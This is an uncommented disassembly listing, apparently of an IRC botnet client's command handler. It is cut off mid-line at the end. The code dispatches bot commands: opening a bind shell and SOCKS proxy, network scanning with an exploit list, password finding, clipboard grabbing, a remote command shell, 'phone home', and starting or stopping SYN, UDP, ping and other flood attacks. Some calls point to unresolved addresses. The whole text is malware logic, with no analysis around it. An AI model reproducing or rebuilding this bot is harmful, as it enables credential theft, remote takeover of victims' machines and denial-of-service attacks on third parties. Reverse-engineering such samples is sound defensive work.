jz loc_4095F6 push edi push offset aRn ; "rn" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4095F6 push edi push offset aDi3 ; "di3" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4049BD push edi push offset aDi3 ; "di3" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4049BD push edi push offset aLogout ; "logout" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40491B push edi push offset aLo ; "lo" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40491B push edi push offset aVersion ; "version" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40490C push edi push offset aVer ; "ver" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40490C push edi push offset aRulez ; "rulez" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_404902 push edi push offset aRz ; "rz" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_404902 push edi push offset aSpeedtest ; "speedtest" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4048E9 push edi push offset aSt ; "st" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4048E9 push edi push offset aSecure ; "secure" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4047EB push edi push offset aSec ; "sec" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4047EB push edi push offset aUnsecure ; "unsecure" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4047EB push edi push offset aUnsec ; "unsec" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4047EB push edi push offset aBindshell ; "bindshell" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4046E5 push edi push offset aBd ; "bd" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4046E5 push edi push offset aBindshellstop ; "bindshellstop" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_402AFB push [ebp+esi+var_8C] push 6 push offset aServer_0 ; "Server" push offset dword_42CA18 jmp loc_408CFE ; --------------------------------------------------------------------------- loc_402AFB: ; CODE XREF: sub_401AC7+101Aj push edi push offset aSocks4 ; "socks4" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4045C3 push edi push offset aS4 ; "s4" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4045C3 push edi push offset aSocks4stop ; "socks4stop" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_402B4E push [ebp+esi+var_8C] push 19h push offset aServer_0 ; "Server" push offset dword_42C9F0 jmp loc_408CFE ; --------------------------------------------------------------------------- loc_402B4E: ; CODE XREF: sub_401AC7+106Dj push edi push offset aRloginstop ; "rloginstop" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_402B77 push [ebp+esi+var_8C] push 9 push offset aServer_0 ; "Server" push offset dword_42C9D4 jmp loc_408CFE ; --------------------------------------------------------------------------- loc_402B77: ; CODE XREF: sub_401AC7+1096j push edi push offset aHttpstop ; "httpstop" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_402BA0 push [ebp+esi+var_8C] push 3 push offset aServer_0 ; "Server" push offset dword_42C9B8 jmp loc_408CFE ; --------------------------------------------------------------------------- loc_402BA0: ; CODE XREF: sub_401AC7+10BFj push edi push offset aLogstop ; "logstop" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_402BC9 push [ebp+esi+var_8C] push 25h push offset dword_42C9A4 push offset dword_42C998 jmp loc_408CFE ; --------------------------------------------------------------------------- loc_402BC9: ; CODE XREF: sub_401AC7+10E8j push edi push offset aRedirectstop ; "redirectstop" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_402BF2 push [ebp+esi+var_8C] push 18h push offset dword_42C978 push offset dword_42C968 jmp loc_408CFE ; --------------------------------------------------------------------------- loc_402BF2: ; CODE XREF: sub_401AC7+1111j push edi push offset dword_42C95C call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_402C1B push [ebp+esi+var_8C] push 0Dh push offset dword_42C950 push offset dword_42C944 jmp loc_408CFE ; --------------------------------------------------------------------------- loc_402C1B: ; CODE XREF: sub_401AC7+113Aj push edi push offset aSynstop ; "synstop" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_402C44 push [ebp+esi+var_8C] push 0Eh push offset dword_42C930 push offset dword_42C924 jmp loc_408CFE ; --------------------------------------------------------------------------- loc_402C44: ; CODE XREF: sub_401AC7+1163j push edi push offset aSkysynstop ; "skysynstop" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_402C6D push [ebp+esi+var_8C] push 10h push offset dword_42C908 push offset dword_42C8F8 jmp loc_408CFE ; --------------------------------------------------------------------------- loc_402C6D: ; CODE XREF: sub_401AC7+118Cj push edi push offset aTarga3stop ; "targa3stop" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_402C96 push [ebp+esi+var_8C] push 11h push offset dword_42C8DC push offset dword_42C8CC jmp loc_408CFE ; --------------------------------------------------------------------------- loc_402C96: ; CODE XREF: sub_401AC7+11B5j push edi push offset aWonkstop ; "wonkstop" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_402CBF push [ebp+esi+var_8C] push 12h push offset dword_42C8B4 push offset dword_42C8A8 jmp loc_408CFE ; --------------------------------------------------------------------------- loc_402CBF: ; CODE XREF: sub_401AC7+11DEj push edi push offset aPacketstop ; "packetstop" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_402E15 mov esi, [ebp+esi+var_8C] mov edi, [ebp+arg_4] push esi push 0Dh push offset dword_42C950 push offset dword_42C944 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B63B push esi push 0Eh push offset dword_42C930 push offset dword_42C924 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B63B add esp, 40h push esi push 17h push offset dword_42C890 push offset dword_42C884 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B63B push esi push 16h push offset dword_42C878 push offset dword_42C86C push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B63B add esp, 40h push esi push 11h push offset dword_42C8DC push offset dword_42C8CC push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B63B push esi push 12h push offset dword_42C8B4 push offset dword_42C8A8 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B63B add esp, 40h push esi push 0Fh push offset dword_42C85C push offset dword_42C84C push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B63B push esi push 13h push offset dword_42C83C push offset dword_42C82C push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B63B add esp, 40h push esi push 10h push offset dword_42C908 push offset dword_42C8F8 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B63B push ebx push [ebp+var_4] push offset unk_42C7F8 push [ebp+var_88] push edi call sub_409862 add esp, 34h jmp loc_401F6C ; --------------------------------------------------------------------------- loc_402E15: ; CODE XREF: sub_401AC7+1207j push edi push offset aTsunamistop ; "tsunamistop" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_402E3E push [ebp+esi+var_8C] push 0Fh push offset dword_42C85C push offset dword_42C84C jmp loc_408CFE ; --------------------------------------------------------------------------- loc_402E3E: ; CODE XREF: sub_401AC7+135Dj push edi push offset aWisdomstop ; "wisdomstop" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_402E67 push [ebp+esi+var_8C] push 13h push offset dword_42C83C push offset dword_42C82C jmp loc_408CFE ; --------------------------------------------------------------------------- loc_402E67: ; CODE XREF: sub_401AC7+1386j push edi push offset aUdpstop ; "udpstop" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_402E90 push [ebp+esi+var_8C] push 17h push offset dword_42C890 push offset dword_42C884 jmp loc_408CFE ; --------------------------------------------------------------------------- loc_402E90: ; CODE XREF: sub_401AC7+13AFj push edi push offset aPingstop ; "pingstop" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_402EB9 push [ebp+esi+var_8C] push 16h push offset dword_42C878 push offset dword_42C86C jmp loc_408CFE ; --------------------------------------------------------------------------- loc_402EB9: ; CODE XREF: sub_401AC7+13D8j push edi push offset aTftpstop ; "tftpstop" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_402EE2 push [ebp+esi+var_8C] push 5 push offset aServer_0 ; "Server" push offset dword_42C7B0 jmp loc_408CFE ; --------------------------------------------------------------------------- loc_402EE2: ; CODE XREF: sub_401AC7+1401j push edi push offset aFindfilestop ; "findfilestop" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4045AB push edi push offset aFfstop ; "ffstop" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4045AB push edi push offset aProcsstop ; "procsstop" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_404593 push edi push offset aPsstop ; "psstop" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_404593 push edi push offset aClonestop ; "clonestop" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_402F5F push [ebp+esi+var_8C] push 1Fh push offset aClone ; "Clone" push offset dword_42C760 jmp loc_408CFE ; --------------------------------------------------------------------------- loc_402F5F: ; CODE XREF: sub_401AC7+147Ej push edi push offset aSecurestop ; "securestop" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_402F88 push [ebp+esi+var_8C] push 22h push offset aSecure_0 ; "Secure" push offset dword_42C73C jmp loc_408CFE ; --------------------------------------------------------------------------- loc_402F88: ; CODE XREF: sub_401AC7+14A7j push edi push offset aScanstop ; "scanstop" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_402FB1 push [ebp+esi+var_8C] push 0Bh push offset aScan_0 ; "Scan" push offset dword_42C71C jmp loc_408CFE ; --------------------------------------------------------------------------- loc_402FB1: ; CODE XREF: sub_401AC7+14D0j push edi push offset aScanstats ; "scanstats" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40457D push edi push offset aStats ; "stats" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40457D push edi push offset aTransferstats ; "transferstats" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_404567 push edi push offset aTrstats ; "trstats" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_404567 push edi push offset aConnectbacksta ; "connectbackstats" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_404551 push edi push offset aCbstats ; "cbstats" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_404551 push edi push offset aExploitlist ; "exploitlist" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40453B push edi push offset aExplist ; "explist" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40453B push edi push offset aReconnect ; "reconnect" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40451C push edi push offset aR ; "r" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40451C push edi push offset aDisconnect ; "disconnect" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4044FA push edi push offset aDc ; "dc" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4044FA push edi push offset aQuit_0 ; "quit" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4044B2 push edi push offset aQ ; "q" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4044B2 push edi push offset aStatus ; "status" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_404474 push edi push offset aS_0 ; "s" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_404474 push edi push offset aId ; "id" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40443D push edi push offset aI ; "i" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40443D push edi push offset aR3start ; "r3start" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_40317D call sub_418835 test eax, eax mov eax, offset unk_42C65C jnz short loc_40314F mov eax, offset unk_42C638 loc_40314F: ; CODE XREF: sub_401AC7+1681j push eax lea eax, [ebp+var_2C4] push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409862 add esp, 1Ch jmp loc_40830C ; --------------------------------------------------------------------------- loc_40317D: ; CODE XREF: sub_401AC7+1673j push edi push offset aThreads ; "threads" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40435E push edi push offset aT ; "t" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40435E push edi push offset aAliases ; "aliases" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40433B push edi push offset aAl ; "al" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40433B push edi push offset aLog ; "log" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40424B push edi push offset aLg ; "lg" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40424B push edi push offset aClearlog ; "clearlog" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40422F push edi push offset aClg ; "clg" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_40422F push edi push offset aNetinfo ; "netinfo" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4041F5 push edi push offset aNi ; "ni" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4041F5 push edi push offset aSysinfo ; "sysinfo" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4041CA push edi push offset aSi ; "si" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4041CA push edi push offset aKosomakyad ; "KOSOMAKYAD" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_404190 push edi push offset aKosomak ; "KOSOMAK" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_404190 push edi push offset aProcs ; "procs" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_404070 push edi push offset aPs ; "ps" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_404070 push edi push offset aUptime ; "uptime" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_403FE9 push edi push offset aUp ; "up" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_403FE9 push edi push offset aDriveinfo ; "driveinfo" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_403FCC push edi push offset aDrv ; "drv" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_403FCC push edi push offset aTestdlls ; "testdlls" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_403FB3 push edi push offset aDll ; "dll" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_403FB3 push edi push offset aOpencmd ; "opencmd" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_403F3F push edi push offset aOcmd ; "ocmd" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_403F3F push edi push offset aCmdstop ; "cmdstop" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_40339E push [ebp+esi+var_8C] push 0Ah push offset dword_42C57C push offset dword_42C570 jmp loc_408CFE ; --------------------------------------------------------------------------- loc_40339E: ; CODE XREF: sub_401AC7+18BDj push edi push offset dword_42C56C call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_4034B4 cmp [ebp+var_8], ebx jnz short loc_4033D2 push ebx push [ebp+var_4] push offset dword_42C558 push [ebp+var_88] push [ebp+arg_4] call sub_409862 add esp, 14h loc_4033D2: ; CODE XREF: sub_401AC7+18EFj mov eax, [ebp+arg_18] xor edi, edi mov [ebp+arg_18], eax jmp short loc_4033DF ; --------------------------------------------------------------------------- loc_4033DC: ; CODE XREF: sub_401AC7+195Fj mov eax, [ebp+arg_18] loc_4033DF: ; CODE XREF: sub_401AC7+1913j cmp [eax], bl jz short loc_4033E6 inc eax jmp short loc_4033EB ; --------------------------------------------------------------------------- loc_4033E6: ; CODE XREF: sub_401AC7+191Aj mov eax, offset aEmpty ; "<Empty>" loc_4033EB: ; CODE XREF: sub_401AC7+191Dj push eax push edi lea eax, [ebp+var_2C4] push offset aD_S ; "%d. %s" push eax call sub_41C006 push 1 lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409862 add [ebp+arg_18], 80h add esp, 24h inc edi cmp edi, 3 jl short loc_4033DC push offset unk_42C528 call sub_415CEE pop ecx loc_403433: ; CODE XREF: sub_401AC7+1BF0j ; sub_401AC7+2F0Aj mov edi, [ebp+esi+var_8C] cmp edi, ebx mov [ebp+arg_20], edi jz loc_401F6C push [ebp+arg_8] push offset aSpoof ; "spoof" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_404ADD push offset aOff ; "off" push edi call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_4049E3 lea eax, [ebp+var_2C4] push offset unk_42C4F4 push eax mov dword_4CCAC0, ebx call sub_41C006 pop ecx pop ecx loc_40348A: ; CODE XREF: sub_401AC7+2FBDj ; sub_401AC7+2FE3j ... cmp [ebp+var_8], ebx jnz loc_409643 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409862 loc_4034AC: ; CODE XREF: sub_401AC7+6FBBj ; sub_401AC7+7021j add esp, 14h jmp loc_409643 ; --------------------------------------------------------------------------- loc_4034B4: ; CODE XREF: sub_401AC7+18E6j push edi push offset aGetclip ; "getclip" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_403EFE push edi push offset aGc ; "gc" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_403EFE push edi push offset aFlusharp ; "flusharp" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_403EE7 push edi push offset aFarp ; "farp" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_403EE7 push edi push offset aFlushdns ; "flushdns" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_403EAF push edi push offset aFdns ; "fdns" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_403EAF push edi push offset aCurrentip ; "currentip" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_403E75 push edi push offset aCip ; "cip" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_403E75 push edi push offset aRloginserver ; "rloginserver" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_403D3D push edi push offset aRlogin ; "rlogin" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_403D3D push edi push offset aHttpserver ; "httpserver" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_403BB1 push edi push offset aHttp ; "http" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_403BB1 push edi push offset aTftpserver ; "tftpserver" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_403A7A push edi push offset aTftp ; "tftp" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_403A7A push edi push offset aShitycrash ; "shitycrash" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_403640 lea eax, [ebp+var_2C4] push offset unk_42C44C push eax call sub_41C006 cmp [ebp+var_8], ebx pop ecx pop ecx jnz short loc_40361F push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409862 add esp, 14h loc_40361F: ; CODE XREF: sub_401AC7+1B3Aj lea eax, [ebp+var_2C4] push eax call sub_415CEE mov [esp+10h+var_10], offset aShitycrash ; "shitycrash" push [ebp+esi+var_7C] call sub_41C7E0 jmp loc_4097CF ; --------------------------------------------------------------------------- loc_403640: ; CODE XREF: sub_401AC7+1B22j push edi push offset aAsn445 ; "asn445" call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_403773 push edi push offset off_42C440 call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_403773 push edi push offset aPhonehome ; "phonehome" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_403697 lea eax, [ebp+var_C4] push eax push offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: DADI Are You T"... push [ebp+arg_4] call sub_40981C loc_40368F: ; CODE XREF: sub_401AC7+478j add esp, 0Ch jmp loc_401F6C ; --------------------------------------------------------------------------- loc_403697: ; CODE XREF: sub_401AC7+1BB2j push edi push offset aFindpass ; "findpass" call sub_41C7E0 pop ecx test eax, eax pop ecx jz short loc_4036BD push edi push offset aFp ; "fp" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_403433 loc_4036BD: ; CODE XREF: sub_401AC7+1BDFj push [ebp+var_88] lea eax, [ebp+var_FEC] push 80h push eax call sub_41C100 mov eax, [ebp+arg_4] push offset unk_42C3C8 mov [ebp+var_FF0], eax mov eax, [ebp+var_4] mov [ebp+var_F68], eax mov eax, [ebp+var_8] mov [ebp+var_F64], eax lea eax, [ebp+var_2C4] push 200h push eax call sub_41C100 push ebx lea eax, [ebp+var_2C4] push 26h push eax call sub_40B3AD add esp, 24h mov [ebp+var_F6C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_FF0] push ebx push eax push offset sub_417269 push ebx push ebx call near ptr 26A0586h nop mov ecx, [ebp+var_F6C] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_403762 loc_40374C: ; CODE XREF: sub_401AC7+1C99j cmp [ebp+var_F60], ebx jnz loc_40830C push 32h nop call near ptr 26A053Bh jmp short loc_40374C ; --------------------------------------------------------------------------- loc_403762: ; CODE XREF: sub_401AC7+1C83j nop call near ptr 26A0EA9h push eax push offset unk_42C38C jmp loc_4082FD ; --------------------------------------------------------------------------- loc_403773: ; CODE XREF: sub_401AC7+1B88j ; sub_401AC7+1B9Dj mov al, byte_431A2A mov [ebp+arg_0], ebx cmp al, bl mov edx, offset byte_431A2A jz loc_401F6C mov ecx, edx loc_40378A: ; CODE XREF: sub_401AC7+1CCBj inc [ebp+arg_0] add ecx, 0Bh cmp [ecx], bl jnz short loc_40378A cmp al, bl jz loc_401F6C mov [ebp+arg_18], edx loc_40379F: ; CODE XREF: sub_401AC7+1F9Ej push 0Bh call sub_40B5F5 pop ecx mov ecx, eax mov eax, 190h cdq idiv [ebp+arg_0] mov edx, eax mov eax, 320h add edx, ecx cmp edx, eax jle short loc_4037F2 push ecx lea eax, [ebp+var_2C4] push offset dword_42C350 push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409862 add esp, 20h jmp loc_403A5C ; --------------------------------------------------------------------------- loc_4037F2: ; CODE XREF: sub_401AC7+1CF6j or [ebp+var_730], 0FFFFFFFFh cmp dword_431808, ebx mov [ebp+var_734], 64h mov [ebp+var_748], 5 mov [ebp+var_744], eax mov [ebp+arg_0], ebx jz short loc_40385F mov eax, [ebp+arg_18] mov esi, offset dword_431808 lea edi, [eax-0Ah] loc_403829: ; CODE XREF: sub_401AC7+1D7Aj lea eax, [esi-28h] push edi push eax call sub_41C7E0 pop ecx test eax, eax pop ecx jz short loc_403845 inc [ebp+arg_0] add esi, 40h cmp [esi], ebx jnz short loc_403829 jmp short loc_40385F ; --------------------------------------------------------------------------- loc_403845: ; CODE XREF: sub_401AC7+1D70j mov eax, [ebp+arg_0] mov ecx, eax mov [ebp+var_730], eax shl ecx, 6 mov ecx, dword_431808[ecx] mov [ebp+var_74C], ecx loc_40385F: ; CODE XREF: sub_401AC7+1D55j ; sub_401AC7+1D7Cj cmp [ebp+var_74C], ebx jz loc_403A70 push 10h lea eax, [ebp+var_2D4] pop esi push eax lea eax, [ebp+var_30C] push eax mov [ebp+var_2D4], esi push [ebp+arg_4] call dword_4C92A8 mov al, [ebp+var_8FF] push esi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_308], eax push [ebp+var_308] call dword_4C9390 push eax lea eax, [ebp+var_860] push eax call sub_41BD70 xor eax, eax cmp [ebp+var_8FF], bl push 30h setnz al inc eax inc eax mov esi, eax lea eax, [ebp+var_860] push eax call sub_41C5B0 add esp, 14h cmp esi, ebx mov byte ptr [ebp+arg_24+3], bl jle short loc_403907 loc_4038E5: ; CODE XREF: sub_401AC7+1E3Ej cmp eax, ebx jz short loc_403907 mov byte ptr [eax], 78h lea eax, [ebp+var_860] push 30h push eax call sub_41C5B0 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, esi jl short loc_4038E5 loc_403907: ; CODE XREF: sub_401AC7+1E1Cj ; sub_401AC7+1E20j mov eax, [ebp+arg_4] push [ebp+var_88] mov esi, [ebp+var_4] mov edi, [ebp+var_8] mov [ebp+var_750], eax lea eax, [ebp+var_850] push 80h push eax mov [ebp+var_720], 1 mov [ebp+var_728], esi mov [ebp+var_724], edi call sub_41C100 push offset byte_43B4B8 push offset aF ; "#f" call sub_41C7E0 add esp, 14h test eax, eax jz short loc_403974 push offset aF ; "#f" lea eax, [ebp+var_7D0] push 80h push eax call sub_41C100 add esp, 0Ch jmp short loc_40397A ; --------------------------------------------------------------------------- loc_403974: ; CODE XREF: sub_401AC7+1E90j mov [ebp+var_7D0], bl loc_40397A: ; CODE XREF: sub_401AC7+1EABj cmp [ebp+var_720], ebx mov eax, offset aRandom ; "Random" jnz short loc_40398C mov eax, offset aSequential ; "Sequential" loc_40398C: ; CODE XREF: sub_401AC7+1EBEj push [ebp+var_734] lea ecx, [ebp+var_860] push [ebp+var_744] push [ebp+var_748] push [ebp+var_74C] push ecx push eax lea eax, [ebp+var_2C4] push offset unk_42C2D0 push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B3AD add esp, 2Ch mov [ebp+var_740], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_860] push ebx push eax push offset loc_40C5E7 push ebx push ebx call near ptr 26A0586h nop mov ecx, [ebp+var_740] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_403A16 loc_403A04: ; CODE XREF: sub_401AC7+1F4Dj cmp [ebp+var_71C], ebx jnz short loc_403A31 push 32h nop call near ptr 26A053Bh jmp short loc_403A04 ; --------------------------------------------------------------------------- loc_403A16: ; CODE XREF: sub_401AC7+1F3Bj nop call near ptr 26A0EA9h push eax lea eax, [ebp+var_2C4] push offset unk_42C294 push eax call sub_41C006 add esp, 0Ch loc_403A31: ; CODE XREF: sub_401AC7+1F43j cmp edi, ebx jnz short loc_403A4F push ebx lea eax, [ebp+var_2C4] push esi push eax push [ebp+var_88] push [ebp+arg_4] call sub_409862 add esp, 14h loc_403A4F: ; CODE XREF: sub_401AC7+1F6Cj lea eax, [ebp+var_2C4] push eax call sub_415CEE pop ecx loc_403A5C: ; CODE XREF: sub_401AC7+1D26j add [ebp+arg_18], 0Bh mov eax, [ebp+arg_18] cmp [eax], bl jnz loc_40379F jmp loc_401F6C ; --------------------------------------------------------------------------- loc_403A70: ; CODE XREF: sub_401AC7+1D9Ej push offset unk_42C25C jmp loc_406E6F ; --------------------------------------------------------------------------- loc_403A7A: ; CODE XREF: sub_401AC7+1AF8j ; sub_401AC7+1B0Dj push 5 call sub_40B5F5 test eax, eax pop ecx jle short loc_403A90 push offset unk_42C23C jmp loc_406E6F ; --------------------------------------------------------------------------- loc_403A90: ; CODE XREF: sub_401AC7+1FBDj mov eax, [ebp+esi+var_8C] cmp eax, ebx jz short loc_403AB3 push eax mov edi, 104h lea eax, [ebp+var_2D54] push edi push eax call sub_41C100 add esp, 0Ch jmp short loc_403AC7 ; --------------------------------------------------------------------------- loc_403AB3: ; CODE XREF: sub_401AC7+1FD2j mov edi, 104h lea eax, [ebp+var_2D54] push edi push eax push ebx nop call near ptr 2690000h loc_403AC7: ; CODE XREF: sub_401AC7+1FEAj mov esi, [ebp+esi+var_88] cmp esi, ebx jnz short loc_403AD7 mov esi, offset byte_429108 loc_403AD7: ; CODE XREF: sub_401AC7+2009j push esi lea eax, [ebp+var_2C50] push edi push eax call sub_41C100 mov eax, dword_429078 push 7Fh push [ebp+var_88] mov [ebp+var_2B44], eax mov eax, [ebp+arg_4] mov [ebp+var_2B48], ebx mov [ebp+var_2D58], eax lea eax, [ebp+var_2B40] push eax call sub_41BD70 mov eax, [ebp+var_4] mov [ebp+var_2AC0], eax mov eax, [ebp+var_8] mov [ebp+var_2ABC], eax lea eax, [ebp+var_2D54] push eax lea eax, [ebp+var_2C4] push [ebp+var_2B44] push offset unk_42C208 push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push 5 push eax call sub_40B3AD add esp, 34h mov [ebp+var_2B4C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2D58] push ebx push eax push offset byte_412155 push ebx push ebx nop call near ptr 26A0586h mov ecx, [ebp+var_2B4C] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_403BA0 loc_403B8A: ; CODE XREF: sub_401AC7+20D7j cmp [ebp+var_2AB8], ebx jnz loc_4081DE push 32h nop call near ptr 26A053Bh jmp short loc_403B8A ; --------------------------------------------------------------------------- loc_403BA0: ; CODE XREF: sub_401AC7+20C1j nop call near ptr 26A0EA9h push eax push offset unk_42C1CC jmp loc_406E56 ; --------------------------------------------------------------------------- loc_403BB1: ; CODE XREF: sub_401AC7+1ACEj ; sub_401AC7+1AE3j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_403BD0 push edi call sub_41BEF9 test eax, eax pop ecx jz short loc_403BD0 push edi call sub_41BEF9 pop ecx jmp short loc_403BD5 ; --------------------------------------------------------------------------- loc_403BD0: ; CODE XREF: sub_401AC7+20F3j ; sub_401AC7+20FEj mov eax, dword_42907C loc_403BD5: ; CODE XREF: sub_401AC7+2107j mov esi, [ebp+esi+var_88] mov [ebp+var_36CC], eax xor eax, eax cmp [ebp+var_8FC], bl setz al cmp esi, ebx mov [ebp+var_36B8], eax jz short loc_403C08 lea eax, [ebp+var_37D0] push esi push eax call sub_41C006 pop ecx pop ecx jmp short loc_403C33 ; --------------------------------------------------------------------------- loc_403C08: ; CODE XREF: 